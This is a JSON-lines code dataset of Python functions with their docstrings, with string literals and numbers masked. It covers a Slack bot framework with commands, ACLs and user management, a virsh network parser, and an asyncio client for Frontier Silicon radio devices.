{"signature": "def get_channel(self, channel):", "body": "return SlackChannel.get_channel(self._bot.sc, channel)<EOL>", "docstring": "Utility function to query slack for a particular channel\n\n:param channel: The channel name or id of the channel to lookup\n:return: SlackChannel object or None", "id": "f12990:c0:m9"}
{"signature": "def cmd(admin_only=False, acl='<STR_LIT:*>', aliases=None, while_ignored=False, *args, **kwargs):", "body": "def wrapper(func):<EOL><INDENT>func.is_cmd = True<EOL>func.is_subcmd = len(func.__name__.split('<STR_LIT:_>')) > <NUM_LIT:1><EOL>func.cmd_name = func.__name__.replace('<STR_LIT:_>', '<STR_LIT:U+0020>')<EOL>func.admin_only = admin_only<EOL>func.acl = acl<EOL>func.aliases = aliases<EOL>func.while_ignored = while_ignored<EOL>return func<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator to mark plugin functions as commands in the form of !<cmd_name>\n\n* admin_only - indicates only users in bot_admin are allowed to execute (only used if AuthManager is loaded)\n* acl - indicates which ACL to perform permission checks against (only used if AuthManager is loaded)\n* aliases - register function with additional commands (i.e. !alias1, !alias2, etc)\n* while_ignored - allows a command to be run, even if channel has been !sleep", "id": "f12991:m0"}
{"signature": "def webhook(*args, **kwargs):", "body": "def wrapper(func):<EOL><INDENT>func.is_webhook = True<EOL>func.route = args[<NUM_LIT:0>]<EOL>func.form_params = kwargs.get('<STR_LIT>', [])<EOL>func.method = kwargs.get('<STR_LIT>', '<STR_LIT:POST>')<EOL>return func<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator to mark plugin functions as entry points for web calls\n\n* route - web route to register, uses Flask syntax\n* method - GET/POST, defaults to POST", "id": "f12991:m1"}
{"signature": "def eventhandler(*args, **kwargs):", "body": "def wrapper(func):<EOL><INDENT>if isinstance(kwargs['<STR_LIT>'], basestring):<EOL><INDENT>kwargs['<STR_LIT>'] = [kwargs['<STR_LIT>']]<EOL><DEDENT>func.is_eventhandler = True<EOL>func.events = kwargs['<STR_LIT>']<EOL>return func<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator.  Marks a function as a receiver for the specified slack event(s).\n\n* events - String or list of events to handle", "id": "f12992:m0"}
{"signature": "def start(self):", "body": "self.bot_start_time = datetime.now()<EOL>self.webserver = Webserver(self.config['<STR_LIT>']['<STR_LIT:host>'], self.config['<STR_LIT>']['<STR_LIT:port>'])<EOL>self.plugins.load()<EOL>self.plugins.load_state()<EOL>self._find_event_handlers()<EOL>self.sc = ThreadedSlackClient(self.config['<STR_LIT>'])<EOL>self.always_send_dm = ['<STR_LIT>']<EOL>if '<STR_LIT>' in self.config:<EOL><INDENT>self.always_send_dm.extend(map(lambda x: '<STR_LIT:!>' + x, self.config['<STR_LIT>']))<EOL><DEDENT>logging.getLogger('<STR_LIT>').setLevel(logging.INFO)<EOL>self.is_setup = True<EOL>if self.test_mode:<EOL><INDENT>self.metrics['<STR_LIT>'] = (datetime.now() - self.bot_start_time).total_seconds() * <NUM_LIT><EOL><DEDENT>", "docstring": "Initializes the bot, plugins, and everything.", "id": "f12992:c0:m1"}
{"signature": "def run(self, start=True):", "body": "<EOL>if not self.is_setup:<EOL><INDENT>raise NotSetupError<EOL><DEDENT>self.webserver.start()<EOL>first_connect = True<EOL>try:<EOL><INDENT>while self.runnable:<EOL><INDENT>if self.reconnect_needed:<EOL><INDENT>if not self.sc.rtm_connect(with_team_state=start):<EOL><INDENT>return False<EOL><DEDENT>self.reconnect_needed = False<EOL>if first_connect:<EOL><INDENT>first_connect = False<EOL>self.plugins.connect()<EOL><DEDENT><DEDENT>try:<EOL><INDENT>events = self.sc.rtm_read()<EOL><DEDENT>except AttributeError:<EOL><INDENT>self.log.exception('<STR_LIT>')<EOL>self.runnable = False<EOL>events = []<EOL><DEDENT>except:<EOL><INDENT>self.log.exception('<STR_LIT>')<EOL>self.reconnect_needed = True<EOL>events = []<EOL><DEDENT>for e in events:<EOL><INDENT>try:<EOL><INDENT>self._handle_event(e)<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>self.runnable = False<EOL><DEDENT>except:<EOL><INDENT>self.log.exception('<STR_LIT>')<EOL><DEDENT><DEDENT>sleep(<NUM_LIT:0.1>)<EOL><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>pass<EOL><DEDENT>except:<EOL><INDENT>self.log.exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "Connects to slack and enters the main loop.\n\n* start - If True, rtm.start API is used. Else rtm.connect API is used\n\nFor more info, refer to\nhttps://python-slackclient.readthedocs.io/en/latest/real_time_messaging.html#rtm-start-vs-rtm-connect", "id": "f12992:c0:m3"}
{"signature": "def stop(self):", "body": "if self.webserver is not None:<EOL><INDENT>self.webserver.stop()<EOL><DEDENT>if not self.test_mode:<EOL><INDENT>self.plugins.save_state()<EOL><DEDENT>", "docstring": "Does cleanup of bot and plugins.", "id": "f12992:c0:m4"}
{"signature": "def send_message(self, channel, text, thread=None, reply_broadcast=None):", "body": "<EOL>if isinstance(channel, SlackRoomIMBase):<EOL><INDENT>channel = channel.id<EOL><DEDENT>self.log.debug(\"<STR_LIT>\", channel, text)<EOL>self.sc.rtm_send_message(channel, text, thread=thread, reply_broadcast=reply_broadcast)<EOL>", "docstring": "Sends a message to the specified channel\n\n* channel - The channel to send to.  This can be a SlackChannel object, a channel id, or a channel name\n(without the #)\n* text - String to send\n* thread - reply to the thread. See https://api.slack.com/docs/message-threading#threads_party\n* reply_broadcast - Set to true to indicate your reply is germane to all members of a channel", "id": "f12992:c0:m5"}
{"signature": "def send_im(self, user, text):", "body": "if isinstance(user, SlackUser):<EOL><INDENT>user = user.id<EOL>channelid = self._find_im_channel(user)<EOL><DEDENT>else:<EOL><INDENT>channelid = user.id<EOL><DEDENT>self.send_message(channelid, text)<EOL>", "docstring": "Sends a message to a user as an IM\n\n* user - The user to send to.  This can be a SlackUser object, a user id, or the username (without the @)\n* text - String to send", "id": "f12992:c0:m6"}
{"signature": "def push(self, message):", "body": "if self._ignore_event(message):<EOL><INDENT>return None, None<EOL><DEDENT>args = self._parse_message(message)<EOL>self.log.debug(\"<STR_LIT>\", args)<EOL>cmd, msg_args = self._find_longest_prefix_command(args)<EOL>if cmd is not None:<EOL><INDENT>if message.user is None:<EOL><INDENT>self.log.debug(\"<STR_LIT>\", message)<EOL>return None, None<EOL><DEDENT>sender = message.user.username<EOL>if message.channel is not None:<EOL><INDENT>sender = \"<STR_LIT>\" % (message.channel.name, sender)<EOL><DEDENT>self.log.info(\"<STR_LIT>\", sender, cmd, msg_args)<EOL>f = self._get_command(cmd, message.user)<EOL>if f:<EOL><INDENT>if self._is_channel_ignored(f, message.channel):<EOL><INDENT>self.log.info(\"<STR_LIT>\", message.channel, cmd)<EOL>return '<STR_LIT>', \"<STR_LIT>\"<EOL><DEDENT>return cmd, f.execute(message, msg_args)<EOL><DEDENT>return '<STR_LIT>', \"<STR_LIT>\" % cmd<EOL><DEDENT>return None, None<EOL>", "docstring": "Takes a SlackEvent, parses it for a command, and runs against registered plugin", "id": "f12993:c3:m1"}
{"signature": "def _ignore_event(self, message):", "body": "if hasattr(message, '<STR_LIT>') and message.subtype in self.ignored_events:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "message_replied event is not truly a message event and does not have a message.text\ndon't process such events\n\ncommands may not be idempotent, so ignore message_changed events.", "id": "f12993:c3:m2"}
{"signature": "def register_plugin(self, plugin):", "body": "self.log.info(\"<STR_LIT>\", type(plugin).__name__)<EOL>self._register_commands(plugin)<EOL>plugin.on_load()<EOL>", "docstring": "Registers a plugin and commands with the dispatcher for push()", "id": "f12993:c3:m4"}
{"signature": "@cmd()<EOL><INDENT>def echo(self, msg, args):<DEDENT>", "body": "self.log.debug(\"<STR_LIT>\", args)<EOL>return '<STR_LIT:U+0020>'.join(args)<EOL>", "docstring": "Simply repeats whatever is said.", "id": "f12997:c0:m0"}
{"signature": "@cmd()<EOL><INDENT>def xyzzy(self, msg, args):<DEDENT>", "body": "return \"<STR_LIT>\" % msg.user<EOL>", "docstring": "Nothing happens.", "id": "f12997:c0:m1"}
{"signature": "@cmd()<EOL><INDENT>def alert(self, msg, args):<DEDENT>", "body": "self.send_message(self.config['<STR_LIT>'], '<STR_LIT>')<EOL>return None<EOL>", "docstring": "Alert everyone.", "id": "f12997:c0:m2"}
{"signature": "@cmd()<EOL><INDENT>def shortsleep(self, msg, args):<DEDENT>", "body": "self.start_timer(<NUM_LIT:5>, self._sleep_func)<EOL>", "docstring": "Sleep for a bit, then print a message.", "id": "f12997:c0:m4"}
{"signature": "@cmd()<EOL><INDENT>def shortsleep2(self, msg, args):<DEDENT>", "body": "self.start_timer(<NUM_LIT:5>, self._sleep_func2, msg.channel, '<STR_LIT:U+0020>'.join(args))<EOL>", "docstring": "Sleep for a bit, then echo the message back", "id": "f12997:c0:m5"}
{"signature": "@cmd(admin_only=True)<EOL><INDENT>def admincmd(self, msg, args):<DEDENT>", "body": "return '<STR_LIT>'<EOL>", "docstring": "A command only admins should be able to run.", "id": "f12997:c1:m0"}
{"signature": "def get(self, userid):", "body": "if userid in self.users:<EOL><INDENT>return self.users[userid]<EOL><DEDENT>return None<EOL>", "docstring": "Retrieve user by id", "id": "f12999:c0:m1"}
{"signature": "def get_by_username(self, username):", "body": "res = filter(lambda x: x.username == username, self.users.values())<EOL>if len(res) > <NUM_LIT:0>:<EOL><INDENT>return res[<NUM_LIT:0>]<EOL><DEDENT>return None<EOL>", "docstring": "Retrieve user by username", "id": "f12999:c0:m2"}
{"signature": "def set(self, user):", "body": "self.log.info(\"<STR_LIT>\", user.id, user.username)<EOL>self.load_user_info(user)<EOL>self.log.info(\"<STR_LIT>\", user.id, user.username)<EOL>self.load_user_rights(user)<EOL>self.log.info(\"<STR_LIT>\", user.id, user.username)<EOL>self._add_user_to_cache(user)<EOL>return user<EOL>", "docstring": "Adds a user object to the user manager\n\nuser - a SlackUser object", "id": "f12999:c0:m3"}
{"signature": "def load_user_info(self, user):", "body": "<EOL>pass<EOL>", "docstring": "Loads additional user information and stores in user object", "id": "f12999:c0:m5"}
{"signature": "def load_user_rights(self, user):", "body": "if user.username in self.admins:<EOL><INDENT>user.is_admin = True<EOL><DEDENT>elif not hasattr(user, '<STR_LIT>'):<EOL><INDENT>user.is_admin = False<EOL><DEDENT>", "docstring": "Sets permissions on user object", "id": "f12999:c0:m6"}
{"signature": "@cmd()<EOL><INDENT>def help(self, msg, args):<DEDENT>", "body": "output = []<EOL>if len(args) == <NUM_LIT:0>:<EOL><INDENT>commands = sorted(self._bot.dispatcher.commands.items(), key=itemgetter(<NUM_LIT:0>))<EOL>commands = filter(lambda x: x[<NUM_LIT:1>].is_subcmd is False, commands)<EOL>if self._should_filter_help_commands(msg.user):<EOL><INDENT>commands = filter(lambda x: x[<NUM_LIT:1>].admin_only is False, commands)<EOL><DEDENT>for name, cmd in commands:<EOL><INDENT>output.append(self._get_short_help_for_command(name))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>name = '<STR_LIT:!>' + args[<NUM_LIT:0>]<EOL>output = [self._get_help_for_command(name)]<EOL><DEDENT>return '<STR_LIT:\\n>'.join(output)<EOL>", "docstring": "Displays help for each command", "id": "f13000:c0:m0"}
{"signature": "@cmd(admin_only=True)<EOL><INDENT>def save(self, msg, args):<DEDENT>", "body": "self.send_message(msg.channel, \"<STR_LIT>\")<EOL>self._bot.plugins.save_state()<EOL>self.send_message(msg.channel, \"<STR_LIT>\")<EOL>", "docstring": "Causes the bot to write its current state to backend.", "id": "f13000:c0:m4"}
{"signature": "@cmd(admin_only=True)<EOL><INDENT>def shutdown(self, msg, args):<DEDENT>", "body": "self.log.info(\"<STR_LIT>\", msg.user.username)<EOL>self._bot.runnable = False<EOL>return \"<STR_LIT>\"<EOL>", "docstring": "Causes the bot to gracefully shutdown.", "id": "f13000:c0:m5"}
{"signature": "@cmd()<EOL><INDENT>def whoami(self, msg, args):<DEDENT>", "body": "output = [\"<STR_LIT>\" % msg.user]<EOL>if hasattr(self._bot.dispatcher, '<STR_LIT>') and msg.user.is_admin is True:<EOL><INDENT>output.append(\"<STR_LIT>\")<EOL><DEDENT>output.append(\"<STR_LIT>\" % (self._bot.version, self._bot.commit))<EOL>return '<STR_LIT:\\n>'.join(output)<EOL>", "docstring": "Prints information about the user and bot version.", "id": "f13000:c0:m6"}
{"signature": "@cmd()<EOL><INDENT>@channel_wrapper<EOL>def sleep(self, channel):<DEDENT>", "body": "self.log.info('<STR_LIT>', channel)<EOL>self._bot.dispatcher.ignore(channel)<EOL>self.send_message(channel, '<STR_LIT>')<EOL>", "docstring": "Causes the bot to ignore all messages from the channel.\n\n        Usage:\n        !sleep [channel name] - ignore the specified channel (or current if none specified)", "id": "f13000:c0:m7"}
{"signature": "@cmd(admin_only=True, while_ignored=True)<EOL><INDENT>@channel_wrapper<EOL>def wake(self, channel):<DEDENT>", "body": "self.log.info('<STR_LIT>', channel)<EOL>self._bot.dispatcher.unignore(channel)<EOL>self.send_message(channel, '<STR_LIT>')<EOL>", "docstring": "Causes the bot to resume operation in the channel.\n\n        Usage:\n        !wake [channel name] - unignore the specified channel (or current if none specified)", "id": "f13000:c0:m8"}
{"signature": "@cmd(admin_only=True)<EOL><INDENT>def acl(self, msg, args):<DEDENT>", "body": "if len(args) == <NUM_LIT:0>:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>valid_actions = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>return \"<STR_LIT>\" % '<STR_LIT:U+002CU+0020>'.join(valid_actions)<EOL>", "docstring": "ACL Management.\n\n        Usage:\n        !acl _action_ [args]\n\n        Actions:\n        new _acl_ - Create a new ACL\n        delete _acl_ - Delete an ACL\n\n        allow _acl_ _user_ - Add user to the acl allow block\n        deny _acl_ _user_ - Add user to the acl deny block\n        remove _acl_ _user_ - Remove user from acl allow and deny blocks\n\n        show - Show all defined ACLs\n        show _acl_ - Show allow and deny blocks of specified ACL", "id": "f13001:c0:m1"}
{"signature": "@cmd(admin_only=True)<EOL><INDENT>def acl_show(self, msg, args):<DEDENT>", "body": "name = args[<NUM_LIT:0>] if len(args) > <NUM_LIT:0> else None<EOL>if name is None:<EOL><INDENT>return \"<STR_LIT>\" % (msg.user, '<STR_LIT:U+002CU+0020>'.join(self._acl.keys()))<EOL><DEDENT>if name not in self._acl:<EOL><INDENT>return \"<STR_LIT>\" % name<EOL><DEDENT>return '<STR_LIT:\\n>'.join([<EOL>\"<STR_LIT>\" % (msg.user, name),<EOL>\"<STR_LIT>\" % '<STR_LIT:U+002CU+0020>'.join(self._acl[name]['<STR_LIT>']),<EOL>\"<STR_LIT>\" % '<STR_LIT:U+002CU+0020>'.join(self._acl[name]['<STR_LIT>'])<EOL>])<EOL>", "docstring": "Show current allow and deny blocks for the given acl.", "id": "f13001:c0:m7"}
{"signature": "def add_user_to_allow(self, name, user):", "body": "<EOL>if not self.remove_user_from_acl(name, user):<EOL><INDENT>return False<EOL><DEDENT>if name not in self._acl:<EOL><INDENT>return False<EOL><DEDENT>self._acl[name]['<STR_LIT>'].append(user)<EOL>return True<EOL>", "docstring": "Add a user to the given acl allow block.", "id": "f13001:c0:m8"}
{"signature": "def add_user_to_deny(self, name, user):", "body": "if not self.remove_user_from_acl(name, user):<EOL><INDENT>return False<EOL><DEDENT>if name not in self._acl:<EOL><INDENT>return False<EOL><DEDENT>self._acl[name]['<STR_LIT>'].append(user)<EOL>return True<EOL>", "docstring": "Add a user to the given acl deny block.", "id": "f13001:c0:m9"}
{"signature": "def remove_user_from_acl(self, name, user):", "body": "if name not in self._acl:<EOL><INDENT>return False<EOL><DEDENT>if user in self._acl[name]['<STR_LIT>']:<EOL><INDENT>self._acl[name]['<STR_LIT>'].remove(user)<EOL><DEDENT>if user in self._acl[name]['<STR_LIT>']:<EOL><INDENT>self._acl[name]['<STR_LIT>'].remove(user)<EOL><DEDENT>return True<EOL>", "docstring": "Remove a user from the given acl (both allow and deny).", "id": "f13001:c0:m10"}
{"signature": "def create_acl(self, name):", "body": "if name in self._acl:<EOL><INDENT>return False<EOL><DEDENT>self._acl[name] = {<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': []<EOL>}<EOL>return True<EOL>", "docstring": "Create a new acl.", "id": "f13001:c0:m11"}
{"signature": "def delete_acl(self, name):", "body": "if name not in self._acl:<EOL><INDENT>return False<EOL><DEDENT>del self._acl[name]<EOL>return True<EOL>", "docstring": "Delete an acl.", "id": "f13001:c0:m12"}
{"signature": "def __init__(self, id, sc=None, **kwargs):", "body": "self.id = id<EOL>self._sc = sc<EOL>self.logger = logging.getLogger(type(self).__name__)<EOL>self.logger.setLevel(logging.DEBUG)<EOL>", "docstring": "Base class for rooms (channels, groups) and IMs", "id": "f13009:c0:m0"}
{"signature": "def _list_networks():", "body": "output = core.run(\"<STR_LIT>\")<EOL>networks = {}<EOL>net_lines = [n.strip() for n in output.splitlines()[<NUM_LIT:2>:]]<EOL>for line in net_lines:<EOL><INDENT>if not line:<EOL><INDENT>continue<EOL><DEDENT>name, state, auto = line.split()<EOL>networks[name] = state == \"<STR_LIT>\"<EOL><DEDENT>return networks<EOL>", "docstring": "Return a dictionary of network name to active status bools.\n\n        Sample virsh net-list output::\n\n    Name                 State      Autostart\n    -----------------------------------------\n    default              active     yes\n    juju-test            inactive   no\n    foobar               inactive   no\n\n    Parsing the above would return::\n    {\"default\": True, \"juju-test\": False, \"foobar\": False}\n\n    See: http://goo.gl/kXwfC", "id": "f13057:m3"}
{"signature": "def __init__(self, fsapi_device_url, pin, timeout=DEFAULT_TIMEOUT_IN_SECONDS):", "body": "self.fsapi_device_url = fsapi_device_url<EOL>self.pin = pin<EOL>self.timeout = timeout<EOL>self.sid = None<EOL>self.__webfsapi = None<EOL>self.__modes = None<EOL>self.__volume_steps = None<EOL>self.__equalisers = None<EOL>self.__session = aiohttp.ClientSession()<EOL>", "docstring": "Initialize the Frontier Silicon device.", "id": "f13081:c0:m0"}
{"signature": "def __del__(self):", "body": "self.call('<STR_LIT>')<EOL>if not self.__session.closed:<EOL><INDENT>if self.__session._connector_owner:<EOL><INDENT>self.__session._connector.close()<EOL><DEDENT>self.__session._connector = None<EOL><DEDENT>", "docstring": "Destroy the device and http sessions.", "id": "f13081:c0:m1"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_fsapi_endpoint(self):<DEDENT>", "body": "endpoint = yield from self.__session.get(self.fsapi_device_url, timeout = self.timeout)<EOL>text = yield from endpoint.text(encoding='<STR_LIT:utf-8>')<EOL>doc = objectify.fromstring(text)<EOL>return doc.webfsapi.text<EOL>", "docstring": "Parse the fsapi endpoint from the device url.", "id": "f13081:c0:m2"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def create_session(self):<DEDENT>", "body": "req_url = '<STR_LIT>' % (self.__webfsapi, '<STR_LIT>')<EOL>sid = yield from self.__session.get(req_url, params=dict(pin=self.pin),<EOL>timeout = self.timeout)<EOL>text = yield from sid.text(encoding='<STR_LIT:utf-8>')<EOL>doc = objectify.fromstring(text)<EOL>return doc.sessionId.text<EOL>", "docstring": "Create a session on the frontier silicon device.", "id": "f13081:c0:m3"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def call(self, path, extra=None):<DEDENT>", "body": "try:<EOL><INDENT>if not self.__webfsapi:<EOL><INDENT>self.__webfsapi = yield from self.get_fsapi_endpoint()<EOL><DEDENT>if not self.sid:<EOL><INDENT>self.sid = yield from self.create_session()<EOL><DEDENT>if not isinstance(extra, dict):<EOL><INDENT>extra = dict()<EOL><DEDENT>params = dict(pin=self.pin, sid=self.sid)<EOL>params.update(**extra)<EOL>req_url = ('<STR_LIT>' % (self.__webfsapi, path))<EOL>result = yield from self.__session.get(req_url, params=params,<EOL>timeout = self.timeout)<EOL>if result.status == <NUM_LIT:200>:<EOL><INDENT>text = yield from result.text(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>self.sid = yield from self.create_session()<EOL>params = dict(pin=self.pin, sid=self.sid)<EOL>params.update(**extra)<EOL>result = yield from self.__session.get(req_url, params=params,<EOL>timeout = self.timeout)<EOL>text = yield from result.text(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>return objectify.fromstring(text)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logging.info('<STR_LIT>' +traceback.format_exc())<EOL><DEDENT>return None<EOL>", "docstring": "Execute a frontier silicon API call.", "id": "f13081:c0:m4"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_get(self, item):<DEDENT>", "body": "res = yield from self.call('<STR_LIT>'.format(item))<EOL>return res<EOL>", "docstring": "Helper method for reading a value by using the fsapi API.", "id": "f13081:c0:m5"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_set(self, item, value):<DEDENT>", "body": "doc = yield from self.call('<STR_LIT>'.format(item), dict(value=value))<EOL>if doc is None:<EOL><INDENT>return None<EOL><DEDENT>return doc.status == '<STR_LIT>'<EOL>", "docstring": "Helper method for setting a value by using the fsapi API.", "id": "f13081:c0:m6"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_text(self, item):<DEDENT>", "body": "doc = yield from self.handle_get(item)<EOL>if doc is None:<EOL><INDENT>return None<EOL><DEDENT>return doc.value.c8_array.text or None<EOL>", "docstring": "Helper method for fetching a text value.", "id": "f13081:c0:m7"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_int(self, item):<DEDENT>", "body": "doc = yield from self.handle_get(item)<EOL>if doc is None:<EOL><INDENT>return None<EOL><DEDENT>return int(doc.value.u8.text) or None<EOL>", "docstring": "Helper method for fetching a integer value.", "id": "f13081:c0:m8"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_long(self, item):<DEDENT>", "body": "doc = yield from self.handle_get(item)<EOL>if doc is None:<EOL><INDENT>return None<EOL><DEDENT>return int(doc.value.u32.text) or None<EOL>", "docstring": "Helper method for fetching a long value. Result is integer.", "id": "f13081:c0:m9"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def handle_list(self, item):<DEDENT>", "body": "doc = yield from self.call('<STR_LIT>'+item+'<STR_LIT>', dict(<EOL>maxItems=<NUM_LIT:100>,<EOL>))<EOL>if doc is None:<EOL><INDENT>return []<EOL><DEDENT>if not doc.status == '<STR_LIT>':<EOL><INDENT>return []<EOL><DEDENT>ret = list()<EOL>for index, item in enumerate(list(doc.iterchildren('<STR_LIT>'))):<EOL><INDENT>temp = dict(band=index)<EOL>for field in list(item.iterchildren()):<EOL><INDENT>temp[field.get('<STR_LIT:name>')] = list(field.iterchildren()).pop()<EOL><DEDENT>ret.append(temp)<EOL><DEDENT>return ret<EOL>", "docstring": "Helper method for fetching a list(map) value.", "id": "f13081:c0:m10"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def collect_labels(self, items):<DEDENT>", "body": "if items is None:<EOL><INDENT>return []<EOL><DEDENT>return [str(item['<STR_LIT:label>']) for item in items if item['<STR_LIT:label>']]<EOL>", "docstring": "Helper methods for extracting the labels from a list with maps.", "id": "f13081:c0:m11"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_friendly_name(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Get the friendly name of the device.", "id": "f13081:c0:m12"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_friendly_name(self, value):<DEDENT>", "body": "return (yield from self.handle_set(<EOL>self.API.get('<STR_LIT>'), value))<EOL>", "docstring": "Set the friendly name of the device.", "id": "f13081:c0:m13"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_power(self):<DEDENT>", "body": "power = (yield from self.handle_int(self.API.get('<STR_LIT>')))<EOL>return bool(power)<EOL>", "docstring": "Check if the device is on.", "id": "f13081:c0:m14"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_power(self, value=False):<DEDENT>", "body": "power = (yield from self.handle_set(<EOL>self.API.get('<STR_LIT>'), int(value)))<EOL>return bool(power)<EOL>", "docstring": "Power on or off the device.", "id": "f13081:c0:m15"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_modes(self):<DEDENT>", "body": "if not self.__modes:<EOL><INDENT>self.__modes = yield from self.handle_list(<EOL>self.API.get('<STR_LIT>'))<EOL><DEDENT>return self.__modes<EOL>", "docstring": "Get the modes supported by this device.", "id": "f13081:c0:m16"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_mode_list(self):<DEDENT>", "body": "self.__modes = yield from self.get_modes()<EOL>return (yield from self.collect_labels(self.__modes))<EOL>", "docstring": "Get the label list of the supported modes.", "id": "f13081:c0:m17"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_mode(self):<DEDENT>", "body": "mode = None<EOL>int_mode = (yield from self.handle_long(self.API.get('<STR_LIT>')))<EOL>modes = yield from self.get_modes()<EOL>for temp_mode in modes:<EOL><INDENT>if temp_mode['<STR_LIT>'] == int_mode:<EOL><INDENT>mode = temp_mode['<STR_LIT:label>']<EOL><DEDENT><DEDENT>return str(mode)<EOL>", "docstring": "Get the currently active mode on the device (DAB, FM, Spotify).", "id": "f13081:c0:m18"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_mode(self, value):<DEDENT>", "body": "mode = -<NUM_LIT:1><EOL>modes = yield from self.get_modes()<EOL>for temp_mode in modes:<EOL><INDENT>if temp_mode['<STR_LIT:label>'] == value:<EOL><INDENT>mode = temp_mode['<STR_LIT>']<EOL><DEDENT><DEDENT>return (yield from self.handle_set(self.API.get('<STR_LIT>'), mode))<EOL>", "docstring": "Set the currently active mode on the device (DAB, FM, Spotify).", "id": "f13081:c0:m19"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_volume_steps(self):<DEDENT>", "body": "if not self.__volume_steps:<EOL><INDENT>self.__volume_steps = yield from self.handle_int(<EOL>self.API.get('<STR_LIT>'))<EOL><DEDENT>return self.__volume_steps<EOL>", "docstring": "Read the maximum volume level of the device.", "id": "f13081:c0:m20"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_volume(self):<DEDENT>", "body": "return (yield from self.handle_int(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Read the volume level of the device.", "id": "f13081:c0:m21"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_volume(self, value):<DEDENT>", "body": "return (yield from self.handle_set(self.API.get('<STR_LIT>'), value))<EOL>", "docstring": "Set the volume level of the device.", "id": "f13081:c0:m22"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_mute(self):<DEDENT>", "body": "mute = (yield from self.handle_int(self.API.get('<STR_LIT>')))<EOL>return bool(mute)<EOL>", "docstring": "Check if the device is muted.", "id": "f13081:c0:m23"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def set_mute(self, value=False):<DEDENT>", "body": "mute = (yield from self.handle_set(self.API.get('<STR_LIT>'), int(value)))<EOL>return bool(mute)<EOL>", "docstring": "Mute or unmute the device.", "id": "f13081:c0:m24"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_status(self):<DEDENT>", "body": "status = yield from self.handle_int(self.API.get('<STR_LIT:status>'))<EOL>return self.PLAY_STATES.get(status)<EOL>", "docstring": "Get the play status of the device.", "id": "f13081:c0:m25"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_name(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT:name>')))<EOL>", "docstring": "Get the name of the played item.", "id": "f13081:c0:m26"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_text(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT:text>')))<EOL>", "docstring": "Get the text associated with the played media.", "id": "f13081:c0:m27"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_artist(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Get the artists of the current media(song).", "id": "f13081:c0:m28"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_album(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Get the songs's album.", "id": "f13081:c0:m29"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_graphic(self):<DEDENT>", "body": "return (yield from self.handle_text(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Get the album art associated with the song/album/artist.", "id": "f13081:c0:m30"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def get_play_duration(self):<DEDENT>", "body": "return (yield from self.handle_long(self.API.get('<STR_LIT>')))<EOL>", "docstring": "Get the duration of the played media.", "id": "f13081:c0:m31"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def play_control(self, value):<DEDENT>", "body": "return (yield from self.handle_set(self.API.get('<STR_LIT>'), value))<EOL>", "docstring": "Control the player of the device.\n\n1=Play; 2=Pause; 3=Next; 4=Previous (song/station)", "id": "f13081:c0:m32"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def play(self):<DEDENT>", "body": "return (yield from self.play_control(<NUM_LIT:1>))<EOL>", "docstring": "Play media.", "id": "f13081:c0:m33"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def pause(self):<DEDENT>", "body": "return (yield from self.play_control(<NUM_LIT:2>))<EOL>", "docstring": "Pause playing.", "id": "f13081:c0:m34"}
{"signature": "@asyncio.coroutine<EOL><INDENT>def forward(self):<DEDENT>", "body": "return (yield from self.play_control(<NUM_LIT:3>))<EOL>", "docstring": "Next media.", "id": "f13081:c0:m35"}
